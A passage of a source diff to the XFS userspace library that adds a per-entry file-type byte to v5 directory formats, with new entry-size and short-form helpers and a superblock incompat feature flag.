+360,18 @@ xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) * Active entry in a data block. * * Aligned to 8 bytes. After the variable length name field there is a - * 2 byte tag field, which can be accessed using xfs_dir2_data_entry_tag_p. + * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. + * + * For dir3 structures, there is file type field between the name and the tag. + * This can only be manipulated by helper functions. It is packed hard against + * the end of the name so any padding for rounding is between the file type and + * the tag. */ typedef struct xfs_dir2_data_entry { __be64 inumber; /* inode number */ __u8 namelen; /* name length */ __u8 name[]; /* name bytes, no null */ + /* __u8 filetype; */ /* type of inode we point to */ /* __be16 tag; */ /* starting offset of us */ } xfs_dir2_data_entry_t; @@ -311,20 +391,67 @@ typedef struct xfs_dir2_data_unused { /* * Size of a data entry. */ -static inline int xfs_dir2_data_entsize(int n) +static inline int +__xfs_dir3_data_entsize( + bool ftype, + int n) { - return (int)roundup(offsetof(struct xfs_dir2_data_entry, name[0]) + n + - (uint)sizeof(xfs_dir2_data_off_t), XFS_DIR2_DATA_ALIGN); + int size = offsetof(struct xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} +static inline int +xfs_dir3_data_entsize( + struct xfs_mount *mp, + int n) +{ + bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; + return __xfs_dir3_data_entsize(ftype, n); +} + +static inline __uint8_t +xfs_dir3_dirent_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t type = dep->name[dep->namelen]; + + ASSERT(type < XFS_DIR3_FT_MAX); + if (type < XFS_DIR3_FT_MAX) + return type; + + } + return XFS_DIR3_FT_UNKNOWN; +} + +static inline void +xfs_dir3_dirent_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + if (xfs_sb_version_hasftype(&mp->m_sb)) + dep->name[dep->namelen] = type; } /* * Pointer to an entry's tag word. */ static inline __be16 * -xfs_dir2_data_entry_tag_p(struct xfs_dir2_data_entry *dep) +xfs_dir3_data_entry_tag_p( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) { return (__be16 *)((char *)dep + - xfs_dir2_data_entsize(dep->namelen) - sizeof(__be16)); + xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); } /* @@ -375,13 +502,17 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) * data block header because the sfe embeds the block offset of the entry into * it so that it doesn't change when format conversion occurs. Bad Things Happen * if we don't follow this rule. + * + * XXX: there is scope for significant optimisation of the logic here. Right + * now we are checking for "dir3 format" over and over again. Ideally we should + * only do it once for each operation. */ #define XFS_DIR3_DATA_DOT_OFFSET(mp) \ xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) #define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir2_data_entsize(1)) + (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) #define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir2_data_entsize(2)) + (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) @@ -392,13 +523,19 @@ xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dot_offset(hdr) + xfs_dir2_data_entsize(1); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 1); } static inline xfs_dir2_data_aoff_t xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dotdot_offset(hdr) + xfs_dir2_data_entsize(2); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dotdot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 2); } /* diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 2e74d7e..3c297a4 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -555,12 +555,6 @@ static inline void xfs_sb_version_addprojid32bit(xfs_sb_t *sbp) sbp->sb_bad_features2 |= XFS_SB_VERSION2_PROJID32BIT; } -static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) -{ - return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; -} - - /* * Extended v5 superblock feature masks. These are to be used for new v5 * superblock features only. @@ -599,7 +593,9 @@ xfs_sb_has_ro_compat_feature( return (sbp->sb_features_ro_compat & feature) != 0; } +#define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_ALL 0 + #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool xfs_sb_has_incompat_feature( @@ -619,11 +615,25 @@ xfs_sb_has_incompat_log_feature( return (sbp->sb_features_log_incompat & feature) != 0; } +/* + * V5 superblock specific feature checks + */ +static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) +{ + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; +} + static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) { return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; } +static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) +{ + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE); +} + /* * end of superblock version macros */ @@ -636,7 +646,6 @@ xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) ino == sbp->sb_pquotino); } - #define XFS_SB_DADDR ((xfs_daddr_t)0) /* daddr in filesystem/ag */ #define XFS_SB_BLOCK(mp) XFS_HDR_BLOCK(mp, XFS_SB_DADDR) #define XFS_BUF_TO_SBP(bp) ((xfs_dsb_t *)((bp)->b_addr)) diff --git a/include/xfs_types.h b/include/xfs_types.h index ce44b18..82bbc34 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -140,6 +140,7 @@ typedef enum { struct xfs_name { const unsigned char *name; int len; + int type; }; /* diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 830fe3e..521042f 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -18,7 +18,8 @@ #include -struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2}; +struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; + /* * ASCII case-insensitive (ie. A-Z) support for directories that was @@ -367,6 +368,7 @@ xfs_dir_replace( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = inum; args.dp = dp; @@ -414,6 +416,7 @@ xfs_dir_canenter( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.dp = dp; args.whichfork = XFS_DATA_FORK; diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index d94b9b2..615eea9 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -107,7 +107,7 @@ const struct xfs_buf_ops xfs_dir3_block_buf_ops = { .verify_write = xfs_dir3_block_write_verify, }; -static int +int xfs_dir3_block_read( struct xfs_trans *tp, struct xfs_inode *dp, @@ -350,7 +350,7 @@ xfs_dir2_block_addname( if (error) return error; - len = xfs_dir2_data_entsize(args->namelen); + len = xfs_dir3_data_entsize(mp, args->namelen); /* * Set up pointers to parts of the block. @@ -530,7 +530,7 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Clean up the bestfree array and log the header, tail, and entry. @@ -780,7 +780,7 @@ xfs_dir2_block_removename( needlog = needscan = 0; xfs_dir2_data_make_free(tp, bp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Fix up the block tail. */ @@ -1140,7 +1140,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[0].hashval = cpu_to_be32(xfs_dir_hash_dot); @@ -1153,7 +1153,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); @@ -1198,10 +1198,10 @@ xfs_dir2_sf_to_block( * Copy a real entry. */ dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); - dep->inumber = cpu_to_be64(xfs_dir2_sfe_get_ino(sfp, sfep)); + dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); dep->namelen = sfep->namelen; memcpy(dep->name, sfep->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); name.name = sfep->name; @@ -1214,7 +1214,7 @@ xfs_dir2_sf_to_block( if (++i == sfp->count) sfep = NULL; else - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* Done with the temporary buffer */ kmem_free(sfp); diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 5074878..ea9ba91 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -131,7 +131,7 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( !xfs_dir_ino_validate(mp, be64_to_cpu(dep->inumber))); XFS_WANT_CORRUPTED_RETURN( - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) == + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == (char *)dep - (char *)hdr); count++; lastfree = 0; @@ -150,7 +150,7 @@ __xfs_dir3_data_check( } XFS_WANT_CORRUPTED_RETURN(i < be32_to_cpu(btp->count)); } - p += xfs_dir2_data_entsize(dep->namelen); + p += xfs_dir3_data_entsize(mp, dep->namelen); } /* * Need to have seen all the entries and all the bestfree slots. @@ -520,8 +520,8 @@ xfs_dir2_data_freescan( else { dep = (xfs_dir2_data_entry_t *)p; ASSERT((char *)dep - (char *)hdr == - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep))); - p += xfs_dir2_data_entsize(dep->namelen); + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep))); + p += xfs_dir3_data_entsize(mp, dep->namelen); } } } @@ -611,7 +611,8 @@ xfs_dir2_data_log_entry( struct xfs_buf *bp, xfs_dir2_data_entry_t *dep) /* data entry pointer */ { - xfs_dir2_data_hdr_t *hdr = bp->b_addr; + struct xfs_dir2_data_hdr *hdr = bp->b_addr; + struct xfs_mount *mp = tp->t_mountp; ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || @@ -619,7 +620,7 @@ xfs_dir2_data_log_entry( hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); xfs_trans_log_buf(tp, bp, (uint)((char *)dep - (char *)hdr), - (uint)((char *)(xfs_dir2_data_entry_tag_p(dep) + 1) - + (uint)((char *)(xfs_dir3_data_entry_tag_p(mp, dep) + 1) - (char *)hdr - 1)); } diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 55b7d05..04ad083 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -677,7 +677,7 @@ xfs_dir2_leaf_addname( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); bestsp = xfs_dir2_leaf_bests_p(ltp); - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * See if there are any entries with the same hash value @@ -878,7 +878,7 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Need to scan fix up the bestfree table. @@ -1409,7 +1409,7 @@ xfs_dir2_leaf_removename( */ xfs_dir2_data_make_free(tp, dbp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * We just mark the leaf entry stale by putting a null in it. */ diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 030f620..15b1eb6 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -587,7 +587,7 @@ xfs_dir2_leafn_lookup_for_addname( ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); } - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * Loop over leaf entries with the right hash value. */ @@ -1241,7 +1241,7 @@ xfs_dir2_leafn_remove( longest = be16_to_cpu(bf[0].length); needlog = needscan = 0; xfs_dir2_data_make_free(tp, dbp, off, - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Rescan the data block freespaces for bestfree. * Log the data block header if needed. @@ -1693,7 +1693,7 @@ xfs_dir2_node_addname_int( dp = args->dp; mp = dp->i_mount; tp = args->trans; - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * If we came in with a freespace block that means that lookup * found an entry with our hash value. This is the freespace @@ -1989,7 +1989,7 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dbp, dep); /* diff --git a/libxfs/xfs_dir2_priv.h b/libxfs/xfs_dir2_priv.h index 7af3e92..1bad84c 100644 --- a/libxfs/xfs_dir2_priv.h +++ b/libxfs/xfs_dir2_priv.h @@ -18,21 +18,26 @@ #ifndef __XFS_DIR2_PRIV_H__ #define __XFS_DIR2_PRIV_H__ +struct dir_context; + /* xfs_dir2.c */ extern int xfs_dir_ino_validate(struct xfs_mount *mp, xfs_ino_t ino); -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_grow_inode(struct xfs_da_args *args, int space, xfs_dir2_db_t *dbp); -extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, - struct xfs_buf *bp); extern int xfs_dir_cilookup_result(struct xfs_da_args *args, const unsigned char *name, int len); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + +extern unsigned char xfs_dir3_get_dtype(struct xfs_mount *mp, + __uint8_t filetype); + + /* xfs_dir2_block.c */ +extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf **bpp); extern int xfs_dir2_block_addname(struct xfs_da_args *args); -extern int xfs_dir2_block_getdents(struct xfs_inode *dp, void *dirent, - xfs_off_t *offset, filldir_t filldir); extern int xfs_dir2_block_lookup(struct xfs_da_args *args); extern int xfs_dir2_block_removename(struct xfs_da_args *args); extern int xfs_dir2_block_replace(struct xfs_da_args *args); @@ -55,22 +60,8 @@ extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, extern struct xfs_dir2_data_free * xfs_dir2_data_freeinsert(struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_unused *dup, int *loghead); -extern void xfs_dir2_data_freescan(struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr, int *loghead); extern int xfs_dir3_data_init(struct xfs_da_args *args, xfs_dir2_db_t blkno, struct xfs_buf **bpp); -extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_entry *dep); -extern void xfs_dir2_data_log_header(struct xfs_trans *tp, - struct xfs_buf *bp); -extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup); -extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, - xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, - int *needlogp, int *needscanp); -extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, - xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); /* xfs_dir2_leaf.c */ extern int xfs_dir3_leafn_read(struct xfs_trans *tp, struct xfs_inode *dp, @@ -83,8 +74,6 @@ extern void xfs_dir3_leaf_compact(struct xfs_da_args *args, extern void xfs_dir3_leaf_compact_x1(struct xfs_dir3_icleaf_hdr *leafhdr, struct xfs_dir2_leaf_entry *ents, int *indexp, int *lowstalep, int *highstalep, int *lowlogp, int *highlogp); -extern int xfs_dir2_leaf_getdents(struct xfs_inode *dp, void *dirent, - size_t bufsize, xfs_off_t *offset, filldir_t filldir); extern int xfs_dir3_leaf_get_buf(struct xfs_da_args *args, xfs_dir2_db_t bno, struct xfs_buf **bpp, __uint16_t magic); extern void xfs_dir3_leaf_log_ents(struct xfs_trans *tp, struct xfs_buf *bp, @@ -104,6 +93,8 @@ xfs_dir3_leaf_find_entry(struct xfs_dir3_icleaf_hdr *leafhdr, int lowstale, int highstale, int *lfloglow, int *lfloghigh); extern int xfs_dir2_node_to_leaf(struct xfs_da_state *state); +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); extern void xfs_dir3_leaf_hdr_to_disk(struct xfs_dir2_leaf *to, struct xfs_dir3_icleaf_hdr *from); extern bool xfs_dir3_leaf_check_int(struct xfs_mount *mp, @@ -134,19 +125,18 @@ extern int xfs_dir2_free_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t fbno, struct xfs_buf **bpp); /* xfs_dir2_sf.c */ -extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); extern int xfs_dir2_block_sfsize(struct xfs_inode *dp, struct xfs_dir2_data_hdr *block, struct xfs_dir2_sf_hdr *sfhp); extern int xfs_dir2_block_to_sf(struct xfs_da_args *args, struct xfs_buf *bp, int size, xfs_dir2_sf_hdr_t *sfhp); extern int xfs_dir2_sf_addname(struct xfs_da_args *args); extern int xfs_dir2_sf_create(struct xfs_da_args *args, xfs_ino_t pino); -extern int xfs_dir2_sf_getdents(struct xfs_inode *dp, void *dirent, - xfs_off_t *offset, filldir_t filldir); extern int xfs_dir2_sf_lookup(struct xfs_da_args *args); extern int xfs_dir2_sf_removename(struct xfs_da_args *args); extern int xfs_dir2_sf_replace(struct xfs_da_args *args); +/* xfs_dir2_readdir.c */ +extern int xfs_readdir(struct xfs_inode *dp, struct dir_context *ctx, + size_t bufsize); + #endif /* __XFS_DIR2_PRIV_H__ */ diff --git a/libxfs/xfs_dir2_sf.c b/libxfs/xfs_dir2_sf.c index cb23368..2791d99 100644 --- a/libxfs/xfs_dir2_sf.c +++ b/libxfs/xfs_dir2_sf.c @@ -15,7 +15,6 @@ * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ - #include /* @@ -89,31 +88,38 @@ xfs_dir2_sf_put_parent_ino( /* * In short-form directory entries the inode numbers are stored at variable - * offset behind the entry name. The inode numbers may only be accessed - * through the helpers below. + * offset behind the entry name. If the entry stores a filetype value, then it + * sits between the name and the inode number. Hence the inode numbers may only + * be accessed through the helpers below. */ static xfs_dir2_inou_t * -xfs_dir2_sfe_inop( +xfs_dir3_sfe_inop( + struct xfs_mount *mp, struct xfs_dir2_sf_entry *sfep) { - return (xfs_dir2_inou_t *)&sfep->name[sfep->namelen]; + __uint8_t *ptr = &sfep->name[sfep->namelen]; + if (xfs_sb_version_hasftype(&mp->m_sb)) + ptr++; + return (xfs_dir2_inou_t *)ptr; } xfs_ino_t -xfs_dir2_sfe_get_ino( +xfs_dir3_sfe_get_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep) { - return xfs_dir2_sf_get_ino(hdr, xfs_dir2_sfe_inop(sfep)); + return xfs_dir2_sf_get_ino(hdr, xfs_dir3_sfe_inop(mp, sfep)); } void -xfs_dir2_sfe_put_ino( +xfs_dir3_sfe_put_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino) { - xfs_dir2_sf_put_ino(hdr, xfs_dir2_sfe_inop(sfep), ino); + xfs_dir2_sf_put_ino(hdr, xfs_dir3_sfe_inop(mp, sfep), ino); } /* @@ -141,9 +147,16 @@ xfs_dir2_block_sfsize( int namelen; /* total name bytes */ xfs_ino_t parent = 0; /* parent inode number */ int size=0; /* total computed size */ + int has_ftype; mp = dp->i_mount; + /* + * if there is a filetype field, add the extra byte to the namelen + * for each entry that we see. + */ + has_ftype = xfs_sb_version_hasftype(&mp->m_sb) ? 1 : 0; + count = i8count = namelen = 0; btp = xfs_dir2_block_tail_p(mp, hdr); blp = xfs_dir2_block_leaf_p(btp); @@ -172,9 +185,10 @@ xfs_dir2_block_sfsize( if (!isdot) i8count += be64_to_cpu(dep->inumber) > XFS_DIR2_MAX_SHORT_INUM; #endif + /* take into account the file type field */ if (!isdot && !isdotdot) { count++; - namelen += dep->namelen; + namelen += dep->namelen + has_ftype; } else if (isdotdot) parent = be64_to_cpu(dep->inumber); /* @@ -300,12 +314,12 @@ xfs_dir2_block_to_sf( (xfs_dir2_data_aoff_t) ((char *)dep - (char *)hdr)); memcpy(sfep->name, dep->name, dep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, + xfs_dir3_sfe_put_ino(mp, sfp, sfep, be64_to_cpu(dep->inumber)); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } ASSERT((char *)sfep - (char *)sfp == size); xfs_dir2_sf_check(args); @@ -356,7 +370,7 @@ xfs_dir2_sf_addname( /* * Compute entry (and change in) size. */ - add_entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + add_entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); incr_isize = add_entsize; objchange = 0; #if XFS_BIG_INUMS @@ -450,8 +464,9 @@ xfs_dir2_sf_addname_easy( /* * Grow the in-inode space. */ - xfs_idata_realloc(dp, xfs_dir2_sf_entsize(sfp, args->namelen), - XFS_DATA_FORK); + xfs_idata_realloc(dp, + xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen), + XFS_DATA_FORK); /* * Need to set up again due to realloc of the inode data. */ @@ -463,7 +478,7 @@ xfs_dir2_sf_addname_easy( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); /* * Update the header and inode. */ @@ -503,11 +518,13 @@ xfs_dir2_sf_addname_hard( xfs_dir2_sf_hdr_t *oldsfp; /* original shortform dir */ xfs_dir2_sf_entry_t *sfep; /* entry in new dir */ xfs_dir2_sf_hdr_t *sfp; /* new shortform dir */ + struct xfs_mount *mp; /* * Copy the old directory to the stack buffer. */ dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; old_isize = (int)dp->i_d.di_size; @@ -519,13 +536,13 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount), + for (offset = XFS_DIR3_DATA_FIRST_OFFSET(mp), oldsfep = xfs_dir2_sf_firstentry(oldsfp), - add_datasize = xfs_dir2_data_entsize(args->namelen), + add_datasize = xfs_dir3_data_entsize(mp, args->namelen), eof = (char *)oldsfep == &buf[old_isize]; !eof; - offset = new_offset + xfs_dir2_data_entsize(oldsfep->namelen), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep), + offset = new_offset + xfs_dir3_data_entsize(mp, oldsfep->namelen), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep), eof = (char *)oldsfep == &buf[old_isize]) { new_offset = xfs_dir2_sf_get_offset(oldsfep); if (offset + add_datasize <= new_offset) @@ -554,7 +571,7 @@ xfs_dir2_sf_addname_hard( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -564,7 +581,7 @@ xfs_dir2_sf_addname_hard( * If there's more left to copy, do that. */ if (!eof) { - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); memcpy(sfep, oldsfep, old_isize - nbytes); } kmem_free(buf); @@ -600,7 +617,7 @@ xfs_dir2_sf_addname_pick( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - size = xfs_dir2_data_entsize(args->namelen); + size = xfs_dir3_data_entsize(mp, args->namelen); offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; @@ -613,8 +630,8 @@ xfs_dir2_sf_addname_pick( if (!holefit) holefit = offset + size <= xfs_dir2_sf_get_offset(sfep); offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + xfs_dir3_data_entsize(mp, sfep->namelen); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* * Calculate data bytes used excluding the new entry, if this @@ -668,31 +685,34 @@ xfs_dir2_sf_check( int offset; /* data offset */ xfs_dir2_sf_entry_t *sfep; /* shortform dir entry */ xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ + struct xfs_mount *mp; dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount); + offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); ino = xfs_dir2_sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep)) { ASSERT(xfs_dir2_sf_get_offset(sfep) >= offset); - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); i8count += ino > 